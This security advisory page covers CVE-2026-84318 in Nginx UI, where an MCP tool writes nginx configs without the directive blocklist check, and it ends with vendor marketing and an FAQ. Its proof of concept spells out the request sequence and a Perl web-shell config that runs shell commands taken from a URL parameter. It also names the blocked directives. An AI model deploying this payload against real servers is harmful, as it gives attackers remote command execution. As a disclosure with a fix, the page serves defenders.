Summary
Nginx UI: MCP nginxconfigadd Bypasses Directive Validation, Authenticated RCE
The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist
if err != nil {
cosy.ErrHandler(c, err)
return
}
mcp/config/config_add.go (line 79) omits that call entirely and writes directly:
err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload) // reload triggered immediately
config.ValidateConfigFile runs two checks:
ValidateConfigContent, rejects control characters, enforces encoding.ValidateConfigDirectives, rejects a blocklist of dangerous directives:perl,perl_modules,perl_require,perl_set,js_import,js_set,js_content,load_module(restricted modules),user root, and others.
Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly, only config_add.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1, Control: confirm REST API blocks the payload
POST /api/configs
Authorization: <token>
{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }
Response:
HTTP 500 scope=config code=40017
message: file content contains restricted nginx directive: {0}
ValidateConfigDirectives rejects perl, the REST API is working as intended.
2, Open MCP SSE session
GET /mcp
Authorization: <token>
Accept: text/event-stream
Extract sessionId from the endpoint event.
3, MCP initialize handshake
POST /mcp_message?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }
4, Call nginx_config_add with the identical blocked payload
POST /mcp_message?sessionId=<id>
{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "rce_backdoor.conf",
"base_dir": "conf.d",
"overwrite": true,
"content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n"
}
}
}
Response (HTTP 200 OK), file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
}
]
}
}
The perl directive, explicitly listed in blockedConfigDirectives and rejected by the REST API, passes through without any check.
5, Trigger RCE
GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Impact
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
CVE-2026-84318 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.10-0.20260703131214-23d1934099b0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-84318? CVE-2026-84318 is a high-severity security vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions >= 1.9.10-0.20250506154222-1330888280a2, < 1.9.10-0.20260703131214-23d1934099b0. It is fixed in 1.9.10-0.20260703131214-23d1934099b0.
- How severe is CVE-2026-84318? CVE-2026-84318 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-84318? github.com/0xJacky/Nginx-UI (go) versions >= 1.9.10-0.20250506154222-1330888280a2, < 1.9.10-0.20260703131214-23d1934099b0 is affected.
- Is there a fix for CVE-2026-84318? Yes. CVE-2026-84318 is fixed in 1.9.10-0.20260703131214-23d1934099b0. Upgrade to this version or later.
- Is CVE-2026-84318 exploitable, and should I be worried? Whether CVE-2026-84318 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-84318 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-84318? Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260703131214-23d1934099b0 or later.